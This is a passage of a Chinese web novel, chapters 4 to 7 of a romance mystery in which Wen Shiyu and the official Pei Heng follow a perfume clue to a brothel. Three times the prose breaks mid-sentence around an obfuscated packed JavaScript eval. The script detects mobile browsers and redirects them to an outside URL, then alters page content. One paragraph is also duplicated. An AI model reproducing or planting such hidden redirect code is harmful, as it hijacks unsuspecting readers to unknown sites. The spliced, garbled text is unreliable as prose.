青年脸上闪过一丝阴狠,终于找到了一丝表忠心的机会,这才敢抬起头,谄媚道:“公子放心,小人会处理干净,况且,就算有人查到了,也是小人一人所为,绝不会胡乱攀扯。”
年轻男子的脸色这才稍稍缓和了一些,他站起身缓步走到青年面前,伸手拍了拍他的脸,动作带着几分警告:“你找的这几个还算合胃口,日后做事谨慎些,也不枉本公子提拔你。”
“是是是,公子大恩大德,小人没齿难忘!日后定当尽心竭力,绝不再出半点差错!”青年仿佛捡了一条命回来,脸上表情分不清是哭是笑,只顾着磕头谢恩。
年轻男子不耐烦地摆了摆手:“行了,滚吧。”
青年如蒙大赦,又“砰砰”磕了几个响头,连滚带爬地离开了屋子。
待人离开后,年轻男子重新坐回椅子上,眯起眼睛,语气阴狠,一字一顿:“裴珩……”
*
裴珩近来早出晚归,温时玉几乎见不着他的面。今日回来的倒是早些,可一回府便径直进了书房,未曾踏出半步。
精致的菜肴一道道端进去,又一次次被端出来,饭菜从热气腾腾变得温凉,再从温凉变得冷透,却始终未曾动过一筷。
眼见送进去的饭菜再次原封不动地拿出来,青荷忍不住叹口气:“大人午膳未用,晚膳也推拒,如此以往可怎么是好?”
“先备着吧,大人忙起来向来是这般。”惊风同样叹气,裴珩沉于公务时,谁劝都无用,多劝几句就沉了脸,旁人也不敢再多声了。
“这是怎么了,愁眉不展的?”温时玉在屋子里闷得久了,正出来透气,远远便看见青荷与惊风二人,拿着食盒,一脸愁容。
“姑娘,”青荷上前问安,“是大人不肯用膳,我们看着着急,却又却不动。”
“诶,”她眼中闪过一丝希冀,“姑娘,不如您去劝劝大人吧,您的话,说不定大人能听进去两句。”
“你别乱出主意,”惊风立马否决,“大人发起火来你又不是没瞧见过,莫连累温姑娘。”在温时玉身份尚不明朗之际,他并不想让她过多靠近裴珩。
“你懂什么,”青荷呛声,一胳膊肘给他杵到身后,“姑娘别听他乱说,大人断不会对您动气,您说这大人,一忙就是一整日,一日只用一餐饭,这般下去,铁打的身子也熬不住啊。”
青荷说得恳切,看着被烛火映得通透的书房和紧闭的门窗,温时玉心中一动:“那我去试试。”
书房外,她抬手敲了敲门,屋内却久久无人应声,她心里犯嘀咕,壮着胆子轻轻推开门走了进去。
屋内弥漫着墨香气,裴珩坐在宽大的乌木案后,面前堆满了卷宗、画像与写满字迹的宣纸。他太过专注,竟未察觉到有人进来。
温时玉站在不远处,静静看了他片刻,他微微垂着眼,眼下的青黑格外明显,平日紧绷着难以接近的人,此刻透着浓浓的疲惫。
她心口好似被揪了一下,酸涩发胀,不由自主上前了两步。
裴珩骤然抬眸,看清来人是谁后,眸中的冷硬染上几分讶异:“你怎么来了?”
温时玉抿了抿嘴,在一旁落座,一脸乖巧:“我饿了。”
裴珩:……
饿了不去厨房,来书房做什么?
他未放下笔,重新埋首于案卷中,头也没抬:“想吃什么,吩咐厨房去做就是了。”
温时玉没接话,问道:“大人可吃过刚出炉的羊肉胡饼,面饼被烤的焦黄,肉香混着芝麻香,一口咬下去,面饼酥脆,里面的羊肉肥瘦相间,鲜嫩多汁,香而不膻,再喝一口鲜辣滚烫的羊汤,那滋味……”
她描述的细致又勾人,裴珩胃里抽搐了一下。
“我初到京城那日就吃的这个,几日不吃,想得抓心挠肝,”温时玉趁热打铁,“大人若是得空,我们一起去尝尝?”
“吩咐人去给你买就是了,去找青荷取银子。”他依旧没抬头。
“哎呀,大人,这胡饼就得吃刚出锅、热的烫嘴的才香,捂上一路,味道可差多了,”看着裴珩并没有不悦的迹象,她不依不饶地继续央求,“大人,求你了,只去这一次,好不好?”
她说“求你了”,他好像根本无法拒绝。
“走吧,”裴珩合上案卷,起身出门时,顺手拿起件披风披到她身上,“夜里风凉。”
街上静了不少,唯有几家宵夜摊子还亮着灯笼。不远处的小摊子前,炉火烧得正旺,热气腾腾的羊肉汤锅正“咕嘟咕嘟”冒着泡。
“要两张现烤的羊肉胡饼,两碗羊汤,”温时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485478|201979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玉找了个避风的小桌,回头朝他笑,“大人坐这里。”
“得嘞!二位稍等。”摊主手脚麻利,快速将两团包好馅料的面团压平,撒上芝麻,一张张贴在炉壁上。
等待的间隙,温时玉随口闲聊起来:“大人可曾养过些猫儿狗儿的?”
裴珩摇头:“未曾。”
“我小时候,养过一只巴儿狗,”温时玉裹紧披风,语气有些懒洋洋的,“全身白毛,圆滚滚的,叫它坐便坐,叫它起便起,可招人稀罕呢。”
裴珩静静听着。
“突然有一日,也不知它生了什么病,不吃不喝,眼见快不成了,我哭得不行,抱着它求它别死,我阿娘阿爹没法子,只能找了些草药,煮了硬给它灌了下去,本是死马当活马医,没想灌了两日,它竟真的肯吃东西了,
“我还是哭,怕它活不成,阿娘便跟我说,‘这猫儿狗儿的,什么生灵,只要肯吃食,那就能活,要是怎么都吃不下食去,那才是大罗神仙来了也难救’,果然没错,那巴儿狗一直活了十三年,也算是寿终正寝了。”
含沙射影,裴珩听明白了,他挑眉:“怎么,我是这只巴儿狗?”
温时玉忍不住“噗嗤”一声笑了出来,看得出他是在打趣,她一边憋不住笑一边连连摆手:“我可没有这个意思,我怎么敢说大人是狗,大人莫要吓唬我。”
她笑得开怀,裴珩又哪里会真的跟她计较,她绕了这么大一个弯子,说了那么多,不过是为了劝他吃顿饭而已。
“来喽——”摊主将两张烙得金黄的羊肉胡饼和两碗冒着热气的羊肉汤端上桌。
“食少事多,其能久乎?大人只有先照顾好自己,才有力气去查案,找凶手,才能护住更多无辜百姓。”她声音不大,但每一个字都说得认真。
她比他想的还要聪明通透,裴珩看着她,有这样一个人在身边,身上的疲惫与重压,似乎也轻了几分。
他郑重应下她的话:“你说的有理,我知晓了。”
月凉如水,二人并肩走在长安街上,谁都没有说话,影子忽长忽短,时而分开,时而交叠。上一次,他背着她,也是这么一步步穿过夜色。
回到裴府,青荷连忙迎上来:“大人,姑娘,回来了。”
裴珩“嗯”了一声,转头对温时玉道:“早些歇息吧。”说完便径直往书房方向去了。
温时玉看着他的背影消失在回廊尽头,对青荷笑了笑:“放心吧,吃过了,一张胡饼一碗羊汤。”
青荷睁大了眼睛,一脸惊叹:“姑娘可真神了,往日我们怎么劝大人都不肯听,还是姑娘的话有用。”
温时玉耳根微热:“碰巧猜中了大人的心思罢了。”
回了院子,推门进屋,她才发觉,裴珩的披风还在她肩上,忘了还,她将披风挂好,没有立刻歇息,而是望着窗外的月色出神。
她知道,裴珩怀疑她,从她从她遇见他的第一面,他看她的眼神,总是带着审视、试探与戒备。她孤身入京,却恰好卷入他查案的风波,换作是她,身处他的位置,见惯了人心险恶,也会如此。
但,他的眼里还藏着别的东西,像冰面下涌动的暗流,不动声色,却从未平息,从第一次见面,她也知道。
5. 第 5 章
天刚破晓,窗外不时传来几声鸟雀啁啾,有一搭没一搭的,像是也没睡醒。
温时玉今日醒得意外的早,在床上翻来覆去滚了好几圈,被子被蹬得乱七八糟,枕头也被揉得不成形状,连她脑子里也乱糟糟的。
她把脸埋进被子里闷了一会儿,又猛地掀开。
睡不着,索性不睡了。
屋内只有窗外灰蓝色的微光透进来,朦朦胧胧的,她翻身下床,也懒得点灯,随手从衣架上扯了件外袍披上,就这么松松垮垮地裹着,推门出去了。
清晨的空气凉丝丝的,沁着草木清香,吸一口进去,整个人都清醒了几分,她站在廊下伸了个懒腰,抬步跨出门槛,目光下意识往前一探,整个人瞬间僵在原地。
海棠树下,一道绯色身影正立在那,格外显眼。
她本想着,这般清晨时分,府中小厮都在前院忙碌,裴珩又素来早早便去刑部当差,不会遇到。
可他今日偏偏就在。
裴珩似乎也没料到,整个人像是被定住一般,站在那里,一动不动。他昨夜直至后半夜才勉强合眼小憩片刻,今日便起的晚了些,本是要直接出府,脚步却无意识绕到了她院外,不想正好撞见她。
温时玉身上只披了一件外袍,里面是素色的寝衣,领口微微敞着,外袍没有系带子,松松地挂在肩上,风一吹,薄薄的衣料贴住身子,勾勒出柔软动人的轮廓,什么都藏不住。
裴珩的视线飞快移开,方才那一眼,他似乎看到了什么不该看的景致。
温时玉回过神,慌忙拢紧外袍,将衣带系好,从耳尖到脸颊,再到脖颈,一路烧的滚烫。
“大人,”她低着头,声音小得像蚊子叫,“这么巧。”
“我……正准备去当值。”裴珩的声音有些涩。
温时玉“哦”了一声,心头乱跳,不知该再说什么。
晨风又起,带着淡淡花香,从二人之间穿过,气氛微妙又缱绻。
“你今日怎得起这么早?”裴珩的语气比方才自然了一些,像是在努力把刚才那一眼带来的尴尬压下去。
“睡不着。”她老老实实答。
至于为什么睡不着,她没说,裴珩也没问,只是“嗯”了一声。
又沉默了片刻。
“晨露重,还是多穿些,免得着凉,我先去当值了。”裴珩说完,不等她回应便转身离去,步履匆匆,惊落几瓣海棠。
回到屋里,温时玉坐在妆台前,铜镜里映出一张红透了的脸,她想起方才风一吹衣料贴身的触感,又想起裴珩的视线……
日后还要同处一府,低头不见抬头见,太尴尬了。
晨光越来越亮,鸟鸣声也渐渐密了起来,院子里的一切都从朦胧中苏醒过来,变得清晰而鲜活。
青荷进来服侍梳洗的时候,见她正坐在妆台前发呆,脸颊红扑扑的,还夸赞道:“姑娘今日气色真好。”
温时玉勉强笑了笑,气色好什么,那是臊的。
一整个上午,不管她做什么,脑中总是会浮现出早晨那尴尬的一幕,越想忘记越是清晰。
到了快晌午的时候,青荷叫她去前厅用膳,虽然知道裴珩几乎不回府用午膳,她还是又确认了一遍:“大人回来了吗?”
青荷摇头:“没有。”
她松了口气,跟着青荷一起去了前厅,果然未见裴珩的身影。
谁料,她刚坐下刚吃了没几口,廊外就传来一阵脚步声。
地上一道影子慢慢近了,赫然出现在门口的人不是裴珩又是谁?
她口中的饭菜骤然卡在喉间,愣愣地看着他从容落座。
“大人怎么回来了?”
这句话未经思索脱口而出,话音落下,温时玉才意识到不妥。这本就是他的府邸,府中主人何时回府,何时用膳,还需要向客人解释吗?
她便又找补了一句:“往日大人都极少回府用午膳,是今日不忙,得以早些歇息吗?”
裴珩拿起碗筷,神色自然:“昨日答应你要好好用膳,君子一言,驷马难追,自然要说到做到。”
温时玉:……
他倒还真说话算话,早知道她昨天就不该多嘴。
屋内一时陷入安静,温时玉垂着眼,清晨那一幕又不受控制地浮上心头,裴珩却像是全然忘了那桩尴尬事,慢条斯理地开始用膳,无半分异样。
今日有一道凉拌笋丝,春笋鲜甜,是她爱吃的,却偏偏放在裴珩手边,她瞥了两眼,到底没好意思伸筷子去够,便索性作罢,只夹取近处的菜,埋着头,小口小口吃着。
她以为自己的心思无人察觉,裴珩却不动声色地抬手,将瓷碟往她这推了推。
“这道菜不错,尝尝。”
正是那道凉拌笋丝。
温时玉一怔,抬眸看了他一眼,他脸上看不出半分多余情绪。
“好。”她夹起一筷笋,清脆爽口。
“今日府里的菜式清淡,合胃口吗?”裴珩又问,语气平淡寻常。
“合的。”
一问一答间,尴尬的气氛似乎消散了一些。
用完膳,裴珩没多做停留,起身去了书房。
白日一晃而过,晚膳时分,裴珩准时回府,二人依旧同席,她倒是没再觉得尴尬难安,与他相处从容了不少。
用完膳,她回了屋子,正斜倚在软塌上看书,青荷端着一盆花进来:“姑娘,这是大人让人送来的,说是放在屋里,晚间能安神。”
安神?温时玉坐直了身子。
一盆素心兰,开得正好,翠叶垂润,瓣色莹白,大概是刚浇过,还沾着一点水珠。
兰花确实凝神静气,助人安眠。
是因为她今早说睡不着,所以他才叫人送花来?
温时玉收回目光,让青荷将花放在了内室架子上。
“替我谢谢大人。”
第二日。
第三日。
……
裴珩果然每日都准时回府用膳,温时玉也习惯了,二人都很默契的没有提起那日清晨的事,当作没发生。
这日午后,裴珩依旧去刑部当值,温时玉则坐在廊下,翻那本还没看完的《长安志》。
青荷端着几盒精致的小匣子从院外进来,笑眯眯的:“姑娘,这是新采买的熏香,近日长安城新兴的,姑娘要不要试试,奴婢给您点上?”
温时玉没抬头,顺着青荷的话头随口应了声:“好。”
青荷打开匣子,取了一丸香点燃。起初,香气只是淡淡的春日花香,清甜好闻,可不过片刻功夫,那香气便愈发浓烈,铺了满室。
太香了,有些腻。
她平日并不爱甜香,忍不住皱了皱眉:“我不爱用味重的,还是换原来的吧。”
“是,那奴婢去拿。”青荷忙熄灭香炉,去了里屋取香。
廊下再度恢复安静,只剩下风吹动树叶的沙沙声响,她指尖捻着书页,闻着这个味道,脑子里忽然像被什么东西重重击了一下。
香气!
那个瘦高个男人朝她扑过来的时候,她闻到了一股浑浊劣质、甜到发腻的脂粉香,还有那个络腮胡身上,似乎也有同样的味道。
“……等拿了公子的赏赐,再去快活快活也不迟。”
想到这句话,温时玉猛地起身。
“姑娘?”青荷拿着熏香过来,被她吓了一跳,“怎么了?”
温时玉一把抓住她的手腕:“青荷,我要去找裴大人,立刻就去!”
“啊……”青荷有些为难,“姑娘怎么突然要找大人了,大人吩咐过,他不在,您最好不要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485479|201979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
独自出府,这……”
“我想起来些案子的线索,事不宜迟。”
青荷知晓事关重大,也染上几分焦急:“那姑娘稍候,奴婢这就安排府里的护卫同姑娘一起去。”
不多时,几名精悍护卫便已到位,皆是裴府精心挑选的好手,一行人匆匆出了裴府,一路快步往刑部衙门赶。
刑部门前守卫森严,两名男子身着官服,神色肃穆,见来人面孔陌生,立刻上前阻拦,眼神警惕:“几位留步,刑部重地,不得擅闯,你们有何事?”
青荷递上裴府令牌:“我们是裴大人府中的人,这位温姑娘有要事寻裴大人,烦请您通传一声。”
守卫验明令牌,交代她们在原地等候,转身进了刑部,不一会儿便又出来,恭敬地将温时玉请了进去。
谢过带她进来的守卫后,温时玉便站在廊下等,她不住地张望着,直至那抹熟悉的绯色身影自转角出现。
裴珩一眼便看到了她,脸颊泛着淡淡未消的红晕,不知是走得太急还是被风吹的,看到他的瞬间,整个人才放松下来,伸手拢了拢鬓边碎发。
他快步上前,眉头紧皱:“你怎么来了,一个人来的?”似是生了气,他语气有些重。
温时玉眨眨眼,声音放软:“大人别生气,是青荷和几名府里的护卫护送我来的,我想起了一些线索,怕耽误了查案,才急着过来找大人。”
她说这话的时候,眼睫低垂,眉眼顺从,像是自知理亏,有些紧张地在撒娇卖乖。
裴珩胸膛里那股无名火霎时熄了,他方才的反应太过强烈了,怕是吓到她了。他有些生气,却不是因为她没有听他的话,而是,他早就该想到,应该留给她一些身手更好的护卫。
“没有生气,是我思虑不周,”他生硬地解释了一句,而后示意她进内堂,“你想到了什么?慢慢说。”
温时玉将想到的一一告知,裴珩听罢,立刻吩咐人去查探,交代完后,又看向她,语气刻意放缓:“下次若是再有这种事,先让人传个信给我,我立刻回府,或是派人接你。”
温时玉抬起头,对上他的目光,看不出情绪,沉沉的,像一池深不见底的水。
她轻声应道:“我知道了,都听大人的。”
后面这几个字她说得很轻,飘进空气里,带着一种说不清道不明的粘腻。
什么都听他的?裴珩的眸子暗了暗,不知为何,他又想起了前几日他不该看的那一眼……
屋内的气氛突然沉默的有些异样,一股混着血腥味的冷松香气再次向温时玉袭来。上次她在裴珩背上,也闻到了,不过这次的血腥气似乎更浓了些,再仔细看,他手上还沾染着血迹,已经半干了,暗红色的,粘在手背和指缝间。
“大人,你受伤了?”她下意识紧张了一瞬。
裴珩一怔,顺着她的视线看到手上的血迹,方才从刑室出来的太急,他连手都忘了洗。
他扯了扯袖子遮掩:“并未。”
温时玉这才后知后觉的意识到,那不是他的血。刑部,那些穷凶极恶的犯人,那些撬不开的嘴,和不得不用的手段……在这之前,她好像从未真切意识到,裴珩每日面对的是什么。
她一时噤了声,不知再说什么。
裴珩将她的反应尽收眼底,看着手上那抹血迹,忽然觉得,确实刺眼得很。
“吓着了?”
温时玉摇摇头:“不害怕,我只是觉得,大人太辛苦了。”
太辛苦了,裴珩袖中的手暗暗握紧,他不止一次听到过这句话,伴随着这话的,是对方眼中闪烁着的算计与讨好,还有呈到他面前的一盘盘金银珠宝。
他们口中的辛苦,只不过是一场待价而沽的交易。
而她,眼中的疼惜不似作假。
她心疼他。
6. 第 6 章
“青荷,你家大人回来了吗?”
“还没呢,姑娘,您这都问第四遍了,大人回来了奴婢肯定第一时间告诉您。”青荷端着新茶进来,笑容分明是误会了什么。
温时玉顾不上解释。
昨日依着她提供的线索,裴珩命人将城中花街柳巷筛了一遍,有几家是达官显贵常去的高档场所,用的也是上品熏香和脂粉,寻常地痞无赖根本迈不进门槛。范围一缩再缩,最终圈定了三五家市井之徒常聚的青楼。
她自告奋勇要和裴珩一同去探查,他本不愿意,却又不知她闻见的究竟是何种味道,思虑再三,最终还是应了。
只是,她总觉得他话里留着余地,随时都可能变卦,偏偏他今日去刑部当值,迟迟不归,她这颗心也跟着悬在半空。
她与青荷正有一搭没一搭地说着话,一个小丫鬟匆匆进来,神色恭敬:“温姑娘,大人回来了,叫您过去呢。”
青荷闻言,笑意更甚,待二人走到前院,院中除了裴珩和惊风,还齐刷刷立着一排黑衣劲装的护卫。
见温时玉过来,裴珩颔首:“选两个,跟着保护你。”
温时玉抬眼扫过那群不苟言笑的壮汉,一个个神情冷硬,不苟言笑。她抿着唇,一时没有作声。
见她迟疑,裴珩又道:“这些人都是我仔细查过的,可信。”
温时玉又慢吞吞打量了那群护卫一圈,而后望向裴珩,一双杏眼清澈明亮,语气认真得很:“不能选大人吗?”
此言一出,院中的人脸色都变了,她竟想让大人做她的贴身护卫?胆子好大。这姑娘瞧着细皮嫩肉的,可经不住大人的雷霆之怒,不会连累他们吧?
裴珩却丝毫不见怒意,只有些狐疑地看了她一眼:“你不是一直嫌府中憋闷,我公务缠身,甚少能陪你出府,你想何时出府叫他们跟着你便是,若是再有上次的情况,也好有个准备。”
温时玉小声嘟囔:“可是他们看着都好吓人。”
青荷与惊风下意识向那群人瞟了一眼,又对上目光。
惊风的意思很明显:这院里的人,还有比大人更吓人的吗?
青荷的意思则是:你懂个屁,大人在温姑娘面前是不一样的。
“也罢,你少出府也是好事。”裴珩抬手挥了挥,示意一众黑衣护卫退下。
众人个个像见着了什么稀罕事,面面相觑,却不敢多言,齐齐躬身行礼,退了个干净。
温时玉浑然不觉她的特殊待遇,乐呵呵地问裴珩:“大人现在有空吗?”
裴珩做疑惑状:“何事?”
何事?不是说好的查案吗,莫不是他已经查过了?温时玉拧眉:“大人不是说好了带我一起去?”
“哦,你说查案,”裴珩不慌不忙坐在院中石凳上,慢悠悠地喝起茶来,“已经查过了。”
果然!亏她还一直认为,他是个言而有信的人。
“哦,那我走了。”温时玉一脸的不高兴,转头就要走。
“还没去,”裴珩叫住她,声音里笑意毫不掩饰,“回来接你。”
*
醉春阁内丝竹悦耳,舞姬们衣衫轻薄,身姿曼妙,在堂中翩然起舞,满座酒酣耳热,笑语喧哗,唯独正当中那一桌,气氛格外古怪,引得周遭人频频侧目,指指点点。
一男一女同来自青楼,大大方方坐在大堂最显眼之处。男子面无表情,他身旁的女子却乐得自在,一手端着酒杯,一手托腮,随着乐声晃着脑袋,看得津津有味,半点没有身处烟花之地的局促。
温时玉瞧着裴珩少有的不自在的神色,压低声音打趣道:“公子该不会……从未来过这种地方吧?”
裴珩沉默。
若是寻欢作乐,他素来不屑,可为了查案,这类声色场所倒也并非没来过,只是这般带着一女子堂而皇之坐在此地,却是头一遭。
一旁的红衣女子春叶已观察他们许久,她在楼里年头不短,有特殊癖好的客人见得多了,可这般组合还真是头一回遇见。
楼里几个姑娘跃跃欲试想上前作陪,却又摸不准这二位的脾性,生怕触了霉头,可看他们衣着华贵,春叶还是大着胆子,端着一壶酒来到二人身边坐下,娇笑道:“二位贵客看着眼生,怎的也不叫个人陪着解解闷?奴家叫春叶,贵客若是不嫌弃便叫奴家作陪可好?”
随着她落座,浓郁甜腻的脂粉香扑面而来,裴珩往旁侧挪了些许,刻意拉开了距离。
温时玉毫无避讳,还凑到春叶肩头嗅了嗅,笑道:“姐姐身上好香。”
裴珩闻言瞥了她一眼,春叶也是一愣,随即反应过来,笑得花枝乱颤,往温时玉身边靠了靠,顺势为她斟了杯酒:“小娘子喜欢便好。”
温时玉不仅不躲,反而贴得更近了些,二人姿态愈发亲昵,裴珩看着,眉头拧得更紧,却又不便发作,咳嗽了一声,像是在提醒她。
温时玉浑然不觉,挑起春叶的一缕青丝,在手里把玩,随口问道:“姐姐,这楼里的姑娘们,用的都是同一种香粉吗?”
春叶见她和善,也放松了几分:“是呀,都是妈妈统一采买的,也有些得客人赏的,会自己另置些好的。”
说罢又叹了口气:“只是,姑娘也看到了,来这儿的多是市井之徒,出手阔绰的实在没几个。”
温时玉听懂了她的言外之意,笑了笑,径直朝裴珩伸出手。
裴珩一时没反应过来:“什么?”
“银子。”
裴珩嘴角几不可察地抽了抽,还是从怀中取出一小块银锭放在她掌心。
春叶一见银子,眼神瞬间亮了起来。
温时玉将银锭放在桌上,这才取出那两个绑匪画像,推到她面前:“那姐姐可曾见过这两个人?”
她将两人的身形特征描述了一遍,本也只是试探,没料到春叶真的点头:“见过的。”
“可知他们身份?”裴珩立刻追问。
听到这个,春叶眼珠一转,面露难色,讪讪笑道:“这个……奴家便不清楚了。”
温时玉将桌上的银锭塞到她手中,笑意温软:“那姐姐可知这里有谁与他们相熟,可否带我们去见一见?”
春叶攥着银子,喜笑颜开,当即爽快应下:“这跛子花心得很,每次来寻的姑娘都不一样,要说相熟,真没有,倒是这个大胡子,对我们柳枝那是一往情深呐,他……”
“柳枝在何处,带我们去。”
话未说完,便被裴珩冷声打断,春叶识趣地闭了嘴,带着他们往楼上走。
温时玉兴致勃勃,一脸八卦地追问:“怎么个一往情深,那他不曾要为柳枝赎身吗?”
春叶转头瞥了眼裴珩的脸色,见他没什么反应,才接着道:“他倒是想,可哪来那么多银钱?要我说,柳枝这姑娘也是个傻的,说什么要和他一起攒钱,等赎了身二人远走高飞,姑娘听听,这可不是傻话么?”
说话间,三人已走到二楼一间房门前,春叶先贴在门上听了听屋内动静,才抬手轻叩门板:“柳枝,在屋里吗?”
屋里应了一声,门很快打开,一名蓝衣女子探出头来,唤了声:“春叶姐姐。”
看到春叶身后的裴珩与温时玉时,又疑道:“这二位是?”
“二位贵客有事找你,我便先回去了。”春叶说完,扭着腰肢下楼离去。
柳枝将人请进屋,目光悄悄得在他们身上打转,一男一女同来青楼,她实在猜不透来意。
裴珩没有多余废话,直接将画像递到她面前:“此人你可认识?”
柳枝看了一眼便想否认:“不……”
裴珩面色一沉,声音更冷:“既然找到你,便知你与他关系匪浅,何必装模作样。”
闻言,柳枝神色有些慌乱,却依旧紧抿着唇,不肯开口。
温时玉慢悠悠拿起桌上的蜜饯丢进嘴里,酸涩的滋味在舌尖化开,实在不如裴珩府里的可口,她喝了口茶压下那股酸意,看向柳枝,悠悠开口:“你想让他活着吗?”
柳枝一惊,抬眼看向她,神色错愕:“姑娘何出此言?”
“实不相瞒,我们是官府的人,”温时玉语气平淡,却字字戳心,“被我们抓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485480|201979||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到,尚能留一条性命在,可若是落在旁人手里,那就未必了。”
柳枝似乎一下子被戳中了心事,手指不自觉的攥紧了帕子。
温时玉继续道:“你既与他相熟,想必也知道他做的是什么营生,干这一行的,上头的主子们为了保全自己,向来是心狠手辣,斩草除根的,你自己想想,他这几日可有联系过你?”
她这几句话说得轻飘飘,柳枝的脸色却瞬间煞白,嘴唇抖了抖,仍强作镇定:“我如何信得过你们的身份?”
裴珩自怀中取出腰牌:“刑部侍郎裴珩,你若不信,大可随我们去官府对质。”
看到腰牌,柳枝终于撑不住,着急起来:“大人,他究竟犯了何事?”
“这个你无需知晓,只需告诉我们,他姓甚名谁,何处能寻到他。”裴珩的脸色依旧冷峻,语气不容置喙。
柳枝沉默许久,最后一丝侥幸也彻底碎裂,彻底松了力气:“他叫耿直,在西市金记赌坊当打手,别的……我真的不知晓了。”
得到线索,裴珩当即起身准备离开。
走到门口,柳枝追上两步,声音颤抖:“大人,他……他会死吗?”
裴珩脚步一顿,却并未作答,这个耿直,恐怕确实已凶多吉少。
出了醉春阁,温时玉舒了口气,来的第一家青楼便有了线索,她伸手指了指之前就看到的摊位:“大人,我想吃这个。”
二人来到摊位前要了一份樱桃煎,两碗酪浆,面对面坐下,裴珩开门见山:“你觉得,耿直会死?”
“对,”温时玉答得干脆,“他们被我看见了容貌,一时半会又抓不到我灭口,对他们背后的主子而言,唯有永远闭嘴,才最安全。”
裴珩没说话,空气凝滞了片刻,他才颇有些赞赏地看向她:“挺聪明。”
温时玉则故作吃惊地扬了扬眉:“大人竟才发现么?”
“怎么样,要不大人将我收编,叫我去衙门做事吧?”她一边说一边吃,一盘樱桃煎很快见了底,意犹未尽,她抬起头眼巴巴地看着裴珩。
裴珩:……
如此不客气,反让他一时哑然,这模样,若不是真的无辜坦荡,那便是太会演戏,让他都忍不住动摇。
摊主很快将新一份樱桃煎端了上来,温时玉又往嘴里塞了一块,含糊问道:“咱们一会儿便去西市那间赌坊看看?”
她说的自然,好像本该如此,裴珩却斩钉截铁拒绝道:“赌坊我会和惊风去查。”
“为何?”温时玉先是不解,而后一副恍然大悟的模样,“大人需要我来辨气味的时候便带着我,用不着了便将我一脚踹开。”
她轻哼了声,赌气似的接二连三往嘴里塞了好几块樱桃煎,腮帮子撑的鼓鼓的。
裴珩无奈又好笑,什么将她一脚踹开,说的他像个始乱终弃的负心汉一般。
“这事危险……”他本想劝,话一出口却顿住了,他不愿让她参与其中,究竟是依旧怀疑她的身份,还是不愿让她以身涉险。
他偏向了后者。
“这事危险……”
他本想劝,话一出口却顿住了,他不愿让她参与其中,究竟是依旧怀疑她的身份,还是不愿让她以身涉险。
他偏向了后者。
“万一叫他们瞧见你,不就打草惊蛇了,我先派人去查探,若是有需要你的地方,再叫你一起去,可好?”他跟她商量。
温时玉思考了片刻,还是点头应下。
裴珩没有急着回府,而是顺着长街,陪她慢慢逛着,温时玉被街边那些京城特有的吃食玩意儿吸引了注意力,不一会儿,手里便多了大包小包的东西,拿不下了,便一股脑地塞给裴珩。
裴珩跟在她身后,一边默默付着银钱,一边接过她递来的东西,一点也不恼,晚风轻柔,灯火摇曳,看着前面娇俏的身影,他忽然有些恍惚。
若是她身份真的有疑,若是她接近他真的别有目的,他应该拆穿她,远离她?
甚至是……杀了她。
可心里的答案早已不言而喻,他舍不得。
7. 第 7 章
回府时天已经黑透了。
温时玉两手空空,慢悠悠走在前面,裴珩跟在后面,两只手拎满了东西,那情形,倒像她是养尊处优的官家小姐,后边跟了个拎东西的小厮。
“姑娘回来啦!”青荷迎上来,一眼看见裴珩手里的大包小包,愣在原地,嘴巴张了张,硬是没敢上前去接。
裴珩面色如常,将东西一样样递给青荷,对温时玉道了声“早些歇息”。
屋内,温时玉坐在妆台前,青荷伺候她卸妆梳发,铜镜里映出身后那张犹带笑意的脸。
“笑什么?”她瞧了青荷一眼。
青荷抿着嘴:“大人平日可从不去街上闲逛,今日跟姑娘逛这么久,实属难得。”
温时玉垂眸:“许是大人觉得累了,想散散心。”
青荷还是笑,不再多言。
接下来几日,温时玉有事没事就往书房跑,一坐就是大半天了,有意无意的打探案子的进展。
裴珩也没打算瞒着她:“已经查到耿直住处了,不过街坊邻里已经许久没见他了。”
温时玉心里“咯噔”一声,又急忙追问:“那赌坊呢,可有蹊跷?”
“暂时还未查到,赌坊老板金满堂,算是耿直的远房亲戚,十多年前耿直来京城投奔他,恰逢赌坊刚开业,见耿直人高马大的,有把子力气,便将人留在了赌坊做打手,不过虽有这层亲戚关系在,他与耿直也并不多亲近,赏他口饭吃罢了。”
说到这,裴珩也有些头疼,他放下笔,揉了揉眉心:“至于那个跛子,并不是赌坊的人,有人见过他去赌坊找耿直,但都没在意。”
线索到这里似乎已经断了,温时玉坐在一旁,拧着眉头一脸沉重。
裴珩看了她一眼:“你每回来书房,就是为了案子的事?”
“啊……”温时玉回过神来,转身假装在书架上翻找着,“自然不是,整日在府里闷着,太过无趣,来借大人几本书打发时间,顺便问问。”
